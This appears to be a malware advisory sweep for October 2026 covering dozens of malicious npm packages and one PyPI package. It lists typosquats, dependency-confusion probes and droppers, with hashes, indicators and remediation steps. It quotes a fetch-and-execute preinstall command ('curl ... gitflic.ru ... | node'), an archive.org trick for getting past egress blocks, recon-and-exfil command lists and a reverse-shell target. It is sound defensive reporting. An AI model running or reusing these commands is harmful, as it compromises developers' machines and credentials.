GitHub Advisory malware sweep - 2026-10-05 (10 npm `hellscripter`/gitflic.ru typosquats of @angular/@babel/express/nuxt via preinstall `curl | node`; 26 npm Wix dep-confusion recon probes - CSS polyfill/a11y/tiny-*/rgx33-* names; 4 npm pino-impersonator jsonspack obfuscator trojans - hardhat-*/chai-as-testmode; 5 npm `4444.vbs` ChaCha20 PowerShell loader siblings - lite-matte/studiocode; plus `@kibt/www-nuxt-i18n` dep-confusion, `internallib_v275` reverse-shell, `monitoring-agent` express credential middleware, `promises-dotenv3` steganographic VBS dropper, `oleh-modal` wallet-connect phishing, `ultimate-websocket` tarball-URL RCE, `core-js-gnz` Python-payload postinstall; `anthropic-sdk` pypi typosquat SPLIT OUT)

What happened

Between roughly 2026-10-04 12:00 UTC and 2026-10-05 06:17 UTC, the GitHub Advisory Database (with the OpenSSF malicious-packages bulk export, Amazon Inspectors IN-MAL feed, and kam193/bad-packages) published 52 new npm malware advisories and 1 pypi advisory. The pypi one (anthropic-sdk`) is SPLIT OUT as its own incident because it typosquats a high-profile AI-vendor SDK and exfiltrates AI chat history, SSH keys, and credentials - distinctive enough to warrant dedicated attention.

The npm set breaks into 11 clusters by operator profile and payload family:

Cluster A - 10 npm hellscripter/gitflic.ru typosquats of @angular/@babel/express/nuxt

The primitive. All 10 have the identical preinstall script:

curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node

The web.archive.org/web/ prefix is deliberate - it bypasses egress proxies that block gitflic.ru directly, because the archive.org snapshot URL resolves to CloudFront. The fetched node.js is unpinned and under the attacker`s control; it drops whatever second-stage payload the operator currently has staged (credential theft, SSH-key exfil and persistence, per the GHSA bodies).

Target shape. The names are single-character typosquats of the five highest-traffic developer namespaces: @angular/cli → @angulra/cli and @angularr/cli; @angular/core → @angulra/core, @angularr/core, @nagular/core; @angular/router → @angularr/router, @nagular/router; @babel/core → @babell/core; express → express-fork and express-enhanced. A developer who autocompletes from an AI assistant or copies from a tutorial with a typo gets the lure.

Operator attribution. First corpus appearance of the hellscripter operator on gitflic.ru. gitflic.ru is a Russian-hosted git service with no English-language take-down path - exactly the choice an operator makes to raise the cost of removing the payload while npm takes down the packages themselves.

Classify each as typosquat. Severity high within the sweep (confirmed install-time RCE, but limited reach - only harms whoever installs the lure).

Cluster B - 26 npm Wix dep-confusion recon probes

All 26 packages share:

• Wix-internal thunderboltRegistry.js fingerprint (Thunderbolt is Wix`s internal viewer architecture)
• Install-time recon-and-exfil template: id, whoami, uname -a, ifconfig/ip addr, cat /etc/hosts, hostname + Node version + platform exfiltrated to an attacker-controlled HTTP/OAST/DNS endpoint
• Version 1.0.0 (sentinel for dep-confusion), ≤1.0.0, or sentinel multi-version spreads
• No second-stage payload (recon-only)

The 26 packages: focus-visible-polyfill-lite, css-anchor-pos-fallback, css-reading-flow-polyfill, css-snap-target-polyfill, css-a11y-contrast-utils, css-scroll-anchor-polyfill, css-logical-prop-shim, css-field-sizing-polyfill, css-interop-observer-polyfill, css-scroll-state-polyfill, css-env-function-shim, css-relative-color-util, css-gap-decorations-polyfill, css-light-dark-polyfill, css-starting-style-polyfill, postcss-gap-fallback-util, tiny-focusgroup-helper, tiny-css-token-parser, wcag-color-a11y-helpers, tiny-viewport-unit-calc, minimal-a11y-contrast-check, rgx33-flex-layout-core, rgx33-css-grid-utils, popover-anchor-polyfill, tiny-dom-focus-trap, a11y-tabindex-manager.

Attribution. The thunderboltRegistry.js fingerprint and the CSS-polyfill / tiny-* / rgx33-* / wcag-* naming conventions strongly suggest a Wix-internal bug-bounty or red-team engagement targeting @wix/* internal module names via dep-confusion. The outbound destinations are OAST collectors (Burp Collaborator, interact.sh) and generic webhook endpoints - typical pentest infrastructure, not criminal C2. Any dep-confusion operator who shares a package name with a victim is still an exposure for that victim regardless of intent.

Classify as dependency-confusion. Severity medium within the sweep (beacon-only, no second-stage payload).

Cluster C - 4 npm pino-impersonator jsonspack obfuscator trojans

All four impersonate the real pino logger project with copied documentation and metadata, bundle a multi-MB obfuscator.io-style payload (hex-escaped identifiers, rotating decoder loops, control-flow flattening, self-mutating string arrays), and run top-level on require(). This is the same operator profile as chai-as-persisted-jsonspack - jsonspack.com is the author string, and the operator rotates fresh names onto npm every few weeks.

Classify as malicious-package. Severity high within sweep (confirmed obfuscated payload with env-exfil on at least chai-as-testmode).

Cluster D - 5 npm 4444.vbs ChaCha20 PowerShell loader siblings

All five share the identical postinstall → wscript.exe 4444.vbs payload: a ~765 KB VBS with layered obfuscation (XOR-decoded AES S-boxes, SHA-256 constants, ChaCha20-IETF stream cipher) that decrypts a PowerShell loader, writes %TEMP%\pf.dat, and injects via process-hollowing. Some packages carry fake "Verdant Signals Corp" branding. All claim "no installation scripts" in README while silently running the dropper. First corpus appearance of this loader family.

Classify as malicious-package. Severity high within sweep (confirmed Windows dropper with process-hollowing).

Clusters E-K - operator one-offs

• Cluster E @kibt/www-nuxt-i18n (GHSA-gh38-mqx9-5mxf) - npm dep-confusion probe targeting an internal @kibt/* registry; sentinel versions 0.0.1, 0.1.0, 1.0.0, 1.0.1, 1.1.0, 2.0.1, 3.0.0, 99.0.1; postinstall beacon exfils hostname + Node version + directory paths. dependency-confusion, medium.
• Cluster F internallib_v275@1.0.3 (GHSA-wp69-7q5m-655v) - npm dep-confusion with reverse shell exported to private RFC1918 10.0.49.106:443. Internal pentest/red-team artefact. dependency-confusion, high (confirmed reverse shell).
• Cluster G monitoring-agent ≤1.0.1 (GHSA-9q5r-qjph-hpr8) - npm Express middleware that transmits plaintext passwords, usernames, emails and full request payloads to backend-cybersecuritydashboard.onrender.com/api/events on every request. Not install-time - runtime per-request credential drain for however long the server runs. malicious-package, high.
• Cluster H promises-dotenv3@1.0.0 (GHSA-3rx7-3cx7-x3hv) - npm dotenv typosquat with steganographic payload hidden in an embedded image, VBS/PowerShell dropper, string-fragmentation evasion. Same payload also distributed under node-env-buffer. malicious-package, high.
• Cluster I oleh-modal@1.0.0 (GHSA-g7w2-c843-wqvj) - npm fake wallet-connect modal: counterfeit MetaMask/Phantom/Rabby/OKX dialogs harvest seed phrases + passwords to api.wagmiwallet.org; WebSocket channel triggers spoofed macOS credential prompts for OS login creds. malicious-package, high.
• Cluster J ultimate-websocket@1.0.0 (GHSA-w8c4-4fjc-rg48) - npm package declaring a bare tarball-URL dependency pointing at an attacker-controlled unrelated GitHub main branch, plus node -e postinstall. Install-time RCE with mutable payload. malicious-package, high.
• Cluster K core-js-gnz@1.0.0 (GHSA-5q2j-22rc-7634) - npm postinstall downloads an encrypted payload executed as a Python process; cache markers rate-limit execution to evade sandbox scanners. Dev-machine-only. malicious-package, high.

Pypi standalone - anthropic-sdk@0.1.0 SPLIT OUT

See its own named incident. OpenSSF 2026-10-anthropic-sdk, GHSA-xxp4-7566-29xj, SHA-256 6844e60d4a58dd11040255e8d632bcca66ae02b1048674e79bddbac1b337f442. Typosquats the official anthropic SDK; exfils credentials, env vars, AI chat files and SSH keys over HTTPS and DNS. Not folded into this sweep because the brand-impersonation target and the AI-chat-file exfil are distinctive enough to deserve a dedicated detail page.

Operator continuity check

• hellscripter/gitflic.ru operator (Cluster A): NEW to corpus today. First appearance of the curl | node from gitflic.ru/hellscripter via web.archive.org pattern.
• Wix dep-confusion recon operator (Cluster B): recurring Wix-internal / bug-bounty profile. 26 fresh names today, largest Wix dep-confusion burst in corpus to date.
• pino-impersonator jsonspack.com operator (Cluster C): continuation of the operator seen in chai-as-persisted-jsonspack.
• 4444.vbs ChaCha20 PowerShell loader operator (Cluster D): NEW to corpus today. First appearance of the wscript.exe 4444.vbs + %TEMP%\pf.dat fingerprint.
• 2026-10-voxeval cryptominer campaign: QUIET today (yesterday`s 10 siblings - no new siblings in this window).
• *amel10 AWS API Gateway dep-confusion operator, jexkcode/noverojs PhantomSub Baileys operator, spo365-graph AWS Lambda operator, Graphalgo Go-module expansion, donutautosellsrc/`aseity Polygon-C2 pip operator, kartyk red-team, tailwind-forms-kit EtherHiding, chinazhangsan.ccwu.cc DoH operator, bfox-build-utils GH-Actions worm, fabric-loader-core/mfahelper operator, zeal-utils` aveliscare canary*: all QUIET today.
• anthropic-sdk pypi typosquat operator (OpenSSF 2026-10-anthropic-sdk): NEW to corpus - split out as its own incident.

Registry state

All 52 npm packages and the 1 pypi package in this sweep window are registry-quarantined at time of writing. Active operator-side infrastructure named in today`s batch:

• gitflic.ru/project/hellscripter/install-scripts (Cluster A)
• web.archive.org/web/https://gitflic.ru/* (Cluster A - archive.org bypass)
• OAST collectors + webhook endpoints unique to each Cluster B advisory (not fully enumerated in GHSA bodies)
• backend-cybersecuritydashboard.onrender.com/api/events (Cluster G)
• api.wagmiwallet.org (Cluster I)
• 10.0.49.106:443 (Cluster F - private RFC1918 reverse-shell target)
• %TEMP%\4444.vbs, %TEMP%\pf.dat (Cluster D)
• Source SHA-256s per package (listed in the tables above)

Discovery credits

GitHub Advisory Database, OpenSSF malicious-packages, OpenSSF Package Analysis, kam193/bad-packages. Per-package IOC details drawn from GHSA advisory bodies published between 2026-10-04 12:00 UTC and 2026-10-05 06:17 UTC.

Affected packages (52)

Impact

• Cluster A - 10 npm hellscripter gitflic.ru typosquats of @angular/@babel/express/nuxt (typosquat, confirmed preinstall RCE): all share the identical preinstall script curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, fetching an unpinned second-stage from the hellscripter gitflic.ru account via web.archive.org to bypass registry blocks on the raw gitflic URL. Packages, versions and source SHA-256s: @angulra/cli@22.2.1 (GHSA-2gcf-qjvx-w58p, e3158beab2ea0d9f8e28d488f124268c8c9a00a3a0f5599823c4d13f741ac40f), @angulra/core ≤1.0.67 (GHSA-836w-242f-9mvg, 7ebb04f93b463536e56e0160e0e1fc2748d69c9eb15f991e990365cee7852a34), @angularr/cli@22.2.1 (GHSA-3954-6vvg-qq74, 122d8c8fdbfe9bd590dd3e1c41a6afcefff4f1c552af5f1756577975c84878a8), @angularr/core ≤1.0.67 (GHSA-9rxx-xxjx-v9w8, 801dcd769bdbf58aa11a657a5344e075ed57fcdafd1384b47ba611956e7cb365), @angularr/router@2.2.0 (GHSA-37mv-mqr9-gv2x, 646c9fd4e8d09651eb6d5ec997e6d1b62f294d39d52ec3b4143853c922f15e83), @babell/core@8.0.6 (GHSA-9hmh-c2v6-5rx3, ae256b9ff55b98040ea9cb6561edfe1c4e2db94bd111fb19a449651bd6b5d44b), @nagular/core@1.0.67 (GHSA-wxf9-85p5-gwhp, 5ac4933487fc7ccf7161933c9d5f6965b5e1f0a3efeaf8ea5349096835008557), @nagular/router@2.2.1 (GHSA-cg42-crqv-qjm9, 5db05365620b3f716b28b41577e593bc35a6699aee20090951158c206c2585ca), express-fork@5.2.2 (GHSA-5pr8-5p22-ffv8, 174daf2d7b9b396bb40a2ad347597eb7d1e829c46e4568e9700302e8aaceee3d), express-enhanced@5.2.2 (GHSA-qj2f-36rw-2gvm, 15d6ce3e4c988439e6023bb900fde41c1a7eebe0c372eddc3a3c3c9d8206a9d6). On a successful npm install with scripts enabled, the installer-user gets whatever the second stage decides to drop; the GHSA bodies describe credential theft and persistence as the likely goals
• Cluster B - 26 npm Wix dep-confusion recon probes (dependency-confusion, confirmed install-time beacon): all share the Wix-internal thunderboltRegistry.js fingerprint and the same install-time recon-and-exfil template (id, whoami, uname -a, ifconfig/ip addr, cat /etc/hosts, hostname + Node version + platform exfiltrated to an attacker-controlled HTTP/OAST/DNS endpoint). Target: Wixs internal npm registry via dependency-confusion. All versions 1.0.0 unless noted. Packages: focus-visible-polyfill-lite ≤1.0.0 (GHSA-5h59-r5m3-rf9w), css-anchor-pos-fallback (GHSA-4ppq-v2jm-24mc), css-reading-flow-polyfill (GHSA-h7h4-gh2m-xjmq), css-snap-target-polyfill (GHSA-x6m9-jxjp-c938), css-a11y-contrast-utils (GHSA-4hxq-p3xc-m5cr), css-scroll-anchor-polyfill (GHSA-wqfg-33rw-c9rw), css-logical-prop-shim (GHSA-7g6f-95c5-ghgv), css-field-sizing-polyfill (GHSA-rmf7-f53x-p8v6), css-interop-observer-polyfill (GHSA-h3hx-44p9-q47q), css-scroll-state-polyfill (GHSA-wwwp-g75q-ww7r), css-env-function-shim (GHSA-592h-fp69-gpjf), css-relative-color-util (GHSA-63h7-vcf3-9xgh), css-gap-decorations-polyfill (GHSA-gpfw-fchg-rwjm), css-light-dark-polyfill (GHSA-p6p9-mjx4-2fgf), css-starting-style-polyfill (GHSA-64fj-vj54-m8r3), postcss-gap-fallback-util (GHSA-35rh-mx8g-vj6f), tiny-focusgroup-helper (GHSA-vj2w-9332-v252), tiny-css-token-parser (GHSA-gc5p-h89m-743g), wcag-color-a11y-helpers (GHSA-hp8q-m388-6xxg), tiny-viewport-unit-calc (GHSA-q9p4-hv94-cxpj), minimal-a11y-contrast-check (GHSA-xhw7-45rg-wv8m), rgx33-flex-layout-core (GHSA-w2cr-cx6p-c475), rgx33-css-grid-utils (GHSA-fqp7-jcwh-2jp3), popover-anchor-polyfill (GHSA-254v-2947-w7m9), tiny-dom-focus-trap (GHSA-vr8g-34ph-vq26), a11y-tabindex-manager (GHSA-6rjc-7w2v-h9mg). Severity medium` within the sweep (recon-only, no second-stage payload beyond beacon); this is almost certainly a Wix bug-bounty / internal red-team engagement, same pattern as every prior Wix dep-confusion wave
• Cluster C - 4 npm pino-impersonator jsonspack obfuscator trojans (malicious-package, confirmed obfuscator.io-style payload): packages impersonate pino logger documentation and bundle a 4-5 MB obfuscator.io payload at load time (hex-escaped identifiers, rotating decoder loops, control-flow flattening, self-mutating string arrays). Published under hardhat-adjacent and chai-adjacent names so a developer searching for Hardhat or chai utilities picks them up. Packages: hardhat-jsx ≤2.0.1 (GHSA-w5cp-x835-j7fg, 62ac44be2745338b73861690e7f979216fdfc6c3797dfa2f450e9063aa4158d1, 4.3MB payload at import), hardhat-roof ≤2.21.0 (GHSA-99j2-pxrq-hpqc, 25cbf03ad6014824ab078237f83b2b682145928e5effefbe3dcc5deca9ba1e26, 4,373,384-byte lib/config.js, authored by jsonspack.com), hardhat-plus ≥2.21.0 (GHSA-2hcg-vv96-p63m, 02d908da8470ad86669b080d267b57174ccd77e5fd6ed2c371c430d98e869f2b, ~4.5MB payload at import), chai-as-testmode@1.4.7 (GHSA-5hx2-mp3m-4gr6, af5e91a44a2eb0773df19fce2096660c285bafbe846a5f09d8bb25ff0eba22b2, exfiltrates full process.env including npm tokens, GitHub creds, AWS keys over base64 to concealed endpoint). This is the same jsonspack.com operator profile as chai-as-persisted-jsonspack and other prior pino-impersonator entries - the operator keeps rotating fresh names onto PyPI/npm every few weeks
• Cluster D - 5 npm 4444.vbs ChaCha20 PowerShell loader siblings (malicious-package, confirmed Windows dropper with process hollowing): all share the identical postinstall wscript.exe 4444.vbs payload - a ~765 KB VBScript with multi-layer obfuscation (XOR-decoded AES S-boxes, SHA-256 constants, ChaCha20-IETF stream cipher) that decrypts a PowerShell loader, writes %TEMP%\pf.dat, and executes with process-hollowing. Each package falsely claims "no installation scripts" in its README. Attribution to "Verdant Signals Corp" branding on some. Packages: lite-matte@1.0.0 (GHSA-4c6x-w3wj-2cr2, 4e7b0ae9e42c334c1c22627e60add7a2c5a0d558a2ab65a3af0043e27bb0e686), lite-mater@1.0.0 (GHSA-294m-x97c-p7xh, 532663c4102d3cf7310e29ca1eb2b389c5c32c1e541da219b7c4364968f4e807), lite-matterr@1.0.0 (GHSA-6p6v-j47j-wgcr, cc9b5f5edaae9103fd26de7cb70e661d78d6948dc3c519fec6b4b62fd471fbfc), studiocode_tools ≤1.0.1 (GHSA-j79g-9wmp-mcv8, 261d413c0847b530c9a452c209c25e0a7d9123f9b0f20b26d0afcc41a929c74a), studiocode_eligibility@1.0.1 (GHSA-chvh-489x-9963, a49b1af8bbf0463bb38d3049e59c28b0dcc8d2e3e5ef54611b4e77bddfdd36dc). Payload is Windows-only but it will drop silently on any dev machine that runs npm install with scripts enabled on Windows
• Cluster E - @kibt/www-nuxt-i18n npm dep-confusion probe (dependency-confusion, confirmed install-time beacon): @kibt/www-nuxt-i18n versions 0.0.1, 0.1.0, 1.0.0, 1.0.1, 1.1.0, 2.0.1, 3.0.0, 99.0.1 (GHSA-gh38-mqx9-5mxf, 5ab1895c73507311b9efd31e40015529d9d7735c87e50cf3b714e6e520205ec4). The spread of versions including the sentinel 99.0.1 is the classic dep-confusion fingerprint for shadowing an internal @kibt/* registry. Postinstall exfiltrates hostname + directory paths + Node version to an IP endpoint. Severity medium within sweep (beacon-only, no second-stage payload disclosed)
• Cluster F - internallib_v275 npm reverse-shell dep-confusion probe (dependency-confusion, confirmed reverse shell): internallib_v275@1.0.3 (GHSA-wp69-7q5m-655v, 80c1c6d383b3defb01da235e39e08ce56276d887e63d900aea2ee689836f71b4). Exported function fetches and executes a bash reverse shell back to the private-RFC1918 address 10.0.49.106:443, with a self-referential dependency designed to pull itself into internal build systems via dependency-confusion. The private-IP target makes this an internal engagement artefact (pentest / red-team) rather than external criminal infrastructure, but any public hit on the package still gets the exported-API-triggered reverse shell
• Cluster G - monitoring-agent npm Express credential-exfil middleware (malicious-package, confirmed in-application credential theft): monitoring-agent ≤1.0.1 (GHSA-9q5r-qjph-hpr8, 703c1e796904571c9f0d08a4769a5f7e25a646483b4a66815a6ddc420ae0ecee, authored under placeholder metadata "Your Name"). Different from the install-time pattern: this is an Express middleware that, once integrated, intercepts every HTTP request and transmits plaintext passwords, usernames, emails, full payloads, headers and query parameters to https://backend-cybersecuritydashboard.onrender.com/api/events. A production hit silently drains credentials for as long as the server runs - the exfil is per-request, not one-shot. If you deployed monitoring-agent as middleware anywhere, treat every credential ever POSTed through that app as leaked
• Cluster H - promises-dotenv3 npm VBS/PowerShell dropper with steganographic payload (malicious-package, confirmed Windows RCE with image-embedded second stage): promises-dotenv3@1.0.0 (GHSA-3rx7-3cx7-x3hv, 146d9688d00e8fa785e2fb62976f0dad169e8055c6c92d3795536cc63527c640). Typosquats dotenv. On install or import, obfuscated code extracts a hidden payload from an embedded image file, writes a randomly-named VBS script to %TEMP%, launches PowerShell through wscript.exe with Base64-encoded commands, and uses string fragmentation to evade AV. The GHSA body notes the same payload is distributed under node-env-buffer and other dotenv-adjacent names. If you have ever installed any *-dotenv* typosquat on Windows, assume compromise
• Cluster I - oleh-modal npm WalletConnect-modal phishing + macOS credential-prompt theft (malicious-package, confirmed crypto wallet drain + OS credential exfil): oleh-modal@1.0.0 (GHSA-g7w2-c843-wqvj, cf2aebc282014a7dfa6ef1726083d23bcc9cc3eca76c814d4e775b7b10021545). Renders counterfeit MetaMask, Phantom, Rabby and OKX wallet-connect dialogs; harvests seed phrases, passwords and keystrokes to api.wagmiwallet.org. A WebSocket channel triggers spoofed macOS credential prompts (via Electron/osascript) to steal OS user credentials. Geolocation enrichment via third-party IP services. Any dev who installed this and ran it in an Electron context should rotate all crypto wallets AND macOS login keychain items
• Cluster J - ultimate-websocket npm tarball-URL dependency RCE (malicious-package, confirmed install-time RCE): ultimate-websocket@1.0.0 (GHSA-w8c4-4fjc-rg48, 7574e423b830695141ee6e089006e0c355109e240c69881512806869cfee8114). The package declares a dependency as a bare tarball URL pointing at an unrelated GitHub accounts mutable main branch (no version pin, no integrity hash) and also runs node -e in its own scripts.postinstall to load the fetched module. Both channels give the attacker arbitrary code execution during npm install`. Mutable-dependency pattern - operator can change payload at will
• Cluster K - core-js-gnz npm postinstall + Python second-stage payload (malicious-package, confirmed Python-stage installer backdoor): core-js-gnz@1.0.0 (GHSA-5q2j-22rc-7634, dc57686b95f827f2c3b0501d97b6575e077247255bf5d4227ae9bc8bedd43937). Postinstall collects system info and downloads an encrypted payload executed as a Python process on the host. Rate-limited via cache markers to evade sandbox-based scanners that trigger it only once. Developer-machine-only (checks for interactive terminal). Python-stage is unusual on npm - operator reaches both ecosystems once installed
• Operator continuity check: Todays window is dominated by multi-package operators we have not catalogued in recent sweeps: the hellscripter/gitflic.ru operator is NEW to the corpus (first appearance of the curl | node from gitflic.ru/hellscripter via web.archive.org pattern); the Wix dep-confusion recon operator is a recurring Wix-internal / bug-bounty profile; the pino-impersonator jsonspack operator overlaps with [chai-as-persisted-jsonspack](/incident/npm-2026-06-27-chai-as-persisted-jsonspack); the 4444.vbs ChaCha20 PowerShell loader cluster is NEW to the corpus. The 2026-10-voxeval cryptominer campaign (yesterdays Cluster A with 10 siblings on top of the original voxeval) is QUIET today - no new siblings. The amel10 AWS API Gateway dep-confusion operator, the jexkcode/noverojs PhantomSub Baileys operator, the spo365-graph AWS Lambda operator, the Graphalgo Go-module expansion, and the donutautosellsrc/aseity* Polygon-C2 pip operator are all also QUIET today. The pypi anthropic-sdk typosquat (OpenSSF 2026-10-anthropic-sdk, GHSA-xxp4-7566-29xj) is NEW to the corpus and is SPLIT OUT as its own named incident because the brand-impersonation target (Anthropic`s official SDK, specifically targeting Claude users) and the AI-chat-file exfil component are distinct enough to deserve dedicated attention

What to do

1. 1For Cluster A (10 npm hellscripter/gitflic.ru typosquats): grep every package.json, package-lock.json, yarn.lock, pnpm-lock.yaml, and .npmrc for @angulra/cli, @angulra/core, @angularr/cli, @angularr/core, @angularr/router, @babell/core, @nagular/core, @nagular/router, express-fork, express-enhanced. On hit: uninstall, delete node_modules, delete the lockfile, rebuild. Rotate npm tokens, SSH keys, and anything in ~/.npmrc, ~/.env, ~/.aws/credentials on the installer host - the second-stage payload runs with full user privileges before any legit code loads. NEW blocklist entries for CI egress proxies: deny outbound to gitflic.ru (any path) and to web.archive.org/web/https://gitflic.ru/* - the web.archive.org prefix is the exact bypass pattern this operator uses for registry blocks on raw gitflic. Teach contributors that the real packages are @angular/cli, @angular/core, @angular/router, @babel/core, express, nuxt
2. 2For Cluster B (26 Wix dep-confusion recon probes): these are almost certainly a Wix-internal red-team or bug-bounty engagement - but any team that happens to share a package name is still exposed. Grep every package.json, package-lock.json, yarn.lock, and pnpm-lock.yaml for every Cluster B package name. On hit: uninstall, rebuild from a scope-locked registry (@yourscope:registry=https://your-internal-npm/). If your org publishes focus-visible-polyfill-lite, css-anchor-pos-fallback, css-reading-flow-polyfill, css-snap-target-polyfill, css-a11y-contrast-utils, css-scroll-anchor-polyfill, css-logical-prop-shim, css-field-sizing-polyfill, css-interop-observer-polyfill, css-scroll-state-polyfill, css-env-function-shim, css-relative-color-util, css-gap-decorations-polyfill, css-light-dark-polyfill, css-starting-style-polyfill, postcss-gap-fallback-util, tiny-focusgroup-helper, tiny-css-token-parser, wcag-color-a11y-helpers, tiny-viewport-unit-calc, minimal-a11y-contrast-check, rgx33-flex-layout-core, rgx33-css-grid-utils, popover-anchor-polyfill, tiny-dom-focus-trap, or a11y-tabindex-manager on an internal registry, hold the public-npm name with a placeholder package to deny the slug permanently
3. 3For Cluster C (4 npm pino-impersonator jsonspack obfuscator trojans): grep lockfiles for hardhat-jsx, hardhat-roof, hardhat-plus, chai-as-testmode. On hit: uninstall; rotate every npm token, GitHub PAT, AWS access key, and anything in process.env on the installer host - chai-as-testmode specifically exfiltrates the full environment to a concealed endpoint on load. For hardhat-jsx/hardhat-roof/hardhat-plus, the 4-5MB obfuscator payload also runs on require() so a dev who loaded any of these in a test or REPL is compromised, not just the install. Add jsonspack.com as a publisher-level denylist entry in any npm authoring policy you can control
4. 4For Cluster D (5 npm 4444.vbs ChaCha20 PowerShell loader siblings): grep lockfiles for lite-matte, lite-mater, lite-matterr, studiocode_tools, studiocode_eligibility. On a Windows host with a hit: image the box - the loader uses process-hollowing to inject into a legitimate PowerShell process, which may persist across the obvious uninstall. Look for %TEMP%\4444.vbs, %TEMP%\pf.dat, and any PowerShell process spawned from wscript.exe since the install. Linux/macOS hosts are not affected by this clusters payload but you still want the package out of the lockfile. Block outbound DNS to any "Verdant Signals" branded domains at the egress proxy; block raw wscript.exe child-processes of node.exe` via EDR
5. 5For Cluster E (@kibt/www-nuxt-i18n dep-confusion): if your org publishes @kibt/* on an internal registry, scope-lock the registry (@kibt:registry=https://internal) and hold the public @kibt/www-nuxt-i18n name. On hit: uninstall and rebuild
6. 6For Cluster F (internallib_v275 reverse shell): if your org publishes internallib_v275 on an internal registry, same scope-lock advice. Even outside Wix / the targeted org, any public hit on this package exports a reverse-shell function to 10.0.49.106:443 whenever the exported API is invoked - do NOT install to inspect
7. 7For Cluster G (monitoring-agent Express credential middleware): grep every production app.use(...) chain, every express.Router()-wiring file, and every Express middleware.ts/middleware.js for require("monitoring-agent") or import ... from "monitoring-agent". If you ever deployed this to any production or staging HTTP server, assume every password, username, email, API key, header, and query parameter POSTed through that server since the deploy is compromised. Rotate every credential that touched the app since the install date, and notify any user whose creds flowed through it. Block outbound to backend-cybersecuritydashboard.onrender.com at the egress proxy
8. 8For Cluster H (promises-dotenv3/node-env-buffer steganographic VBS dropper): on Windows hosts with a hit, hunt for randomly-named .vbs files in %TEMP% created around the install time and for wscript.exe with Base64-encoded PowerShell children. Rotate everything, image the box if you cannot confirm clean. The payload hides in an embedded image so a casual tarball inspection sees "just an asset" - do not inspect by hand, let a sandbox do it
9. 9For Cluster I (oleh-modal wallet phishing + macOS credential theft): if your app ships oleh-modal, EVERY user who ever opened its connect dialog had their seed phrase / password keystrokes captured to api.wagmiwallet.org - notify them, publish a security advisory of your own, and reset any OS login keychain for macOS users (the WebSocket channel also triggered spoofed macOS credential prompts in Electron). Block outbound to api.wagmiwallet.org at every egress point
10. 10For Cluster J (ultimate-websocket tarball-URL RCE): grep lockfiles for ultimate-websocket. On hit uninstall + rotate the installer-host credentials. The bare tarball-URL dependency pattern means every re-install downloads whatever the attacker currently has in the referenced GitHub main branch - do NOT reinstall to test
11. 11For Cluster K (core-js-gnz Python-stage postinstall): grep lockfiles for core-js-gnz. On hit uninstall; also check for a Python interpreter spawned from node and for the cache marker file the operator uses to rate-limit the payload (unknown exact path - look for suspicious files in ~/.cache/ or %LOCALAPPDATA% created around install time). If any Python processes were started by npm install, image the host
12. 12NEW outbound denylist entries for CI/build-host egress proxies today: gitflic.ru (Cluster A), web.archive.org/web/https://gitflic.ru/* (Cluster A - the archive.org bypass), api.wagmiwallet.org (Cluster I), backend-cybersecuritydashboard.onrender.com (Cluster G), the private-RFC1918 reverse-shell target 10.0.49.106:443 (Cluster F - deny egress to all RFC1918 from CI). Keep prior egress blocks in place: Monero mining pools (per 2026-10-04 Cluster A voxeval cryptominer continuation), Ethereum mainnet RPC (per 2026-09-30 tailwind-forms-kit), Ethereum Sepolia RPC (per indexed-btree), Arbitrum Sepolia RPC (per 2026-10-03 Cluster D), chinazhangsan.ccwu.cc, api.npoint.io, api.telegram.org, fabric-npm.gm-service.xyz, jsonkeeper.com, trktgq0wbre1, npm-canary.aveliscare.com, Polygon RPC, meta.brs.cx, s3://pkusinski-external/, AWS account 631484165566, Slack bot-token exfil, s85r5k14qk.execute-api.us-east-1.amazonaws.com/prod/hook
13. 13For the SPLIT OUT anthropic-sdk pypi typosquat: see that incident. If your org pastes secrets into Claude or any other AI assistant and you ever pip install anthropic-sdk, rotate the Anthropic API key (console.anthropic.com) first and work outward from there - the payload exfiltrates ~/.config/claude*-shaped AI chat history, not just env vars

References

• GitHub Advisory Database - recent malware advisories

  github.com
  GitHub
• GHSA-2gcf-qjvx-w58p - npm @angulra/cli (Cluster A - hellscripter gitflic.ru typosquat)

  github.com
  GitHub
• GHSA-836w-242f-9mvg - npm @angulra/core (Cluster A - hellscripter gitflic.ru typosquat)

  github.com
  GitHub
• GHSA-3954-6vvg-qq74 - npm @angularr/cli (Cluster A - hellscripter gitflic.ru typosquat)

  github.com
  GitHub
• GHSA-9rxx-xxjx-v9w8 - npm @angularr/core (Cluster A - hellscripter gitflic.ru typosquat)

  github.com
  GitHub
• GHSA-37mv-mqr9-gv2x - npm @angularr/router (Cluster A - hellscripter gitflic.ru typosquat)

  github.com
  GitHub
• GHSA-9hmh-c2v6-5rx3 - npm @babell/core (Cluster A - hellscripter gitflic.ru typosquat)

  github.com
  GitHub
• GHSA-wxf9-85p5-gwhp - npm @nagular/core (Cluster A - hellscripter gitflic.ru typosquat)

  github.com
  GitHub
• GHSA-cg42-crqv-qjm9 - npm @nagular/router (Cluster A - hellscripter gitflic.ru typosquat)

  github.com
  GitHub
• GHSA-5pr8-5p22-ffv8 - npm express-fork (Cluster A - hellscripter gitflic.ru typosquat)

  github.com
  GitHub
• GHSA-qj2f-36rw-2gvm - npm express-enhanced (Cluster A - hellscripter gitflic.ru typosquat)

  github.com
  GitHub
• GHSA-5h59-r5m3-rf9w - npm focus-visible-polyfill-lite (Cluster B - Wix dep-confusion recon probe)

  github.com
  GitHub
• GHSA-4ppq-v2jm-24mc - npm css-anchor-pos-fallback (Cluster B - Wix dep-confusion recon probe)

  github.com
  GitHub
• GHSA-h7h4-gh2m-xjmq - npm css-reading-flow-polyfill (Cluster B - Wix dep-confusion recon probe)

  github.com
  GitHub
• GHSA-x6m9-jxjp-c938 - npm css-snap-target-polyfill (Cluster B - Wix dep-confusion recon probe)

  github.com
  GitHub
• GHSA-vj2w-9332-v252 - npm tiny-focusgroup-helper (Cluster B - Wix dep-confusion recon probe)

  github.com
  GitHub
• GHSA-w2cr-cx6p-c475 - npm rgx33-flex-layout-core (Cluster B - Wix dep-confusion recon probe)

  github.com
  GitHub
• GHSA-6rjc-7w2v-h9mg - npm a11y-tabindex-manager (Cluster B - Wix dep-confusion recon probe)

  github.com
  GitHub
• GHSA-4hxq-p3xc-m5cr - npm css-a11y-contrast-utils (Cluster B - Wix dep-confusion recon probe)

  github.com
  GitHub
• GHSA-w5cp-x835-j7fg - npm hardhat-jsx (Cluster C - pino-impersonator jsonspack obfuscator)

  github.com
  GitHub
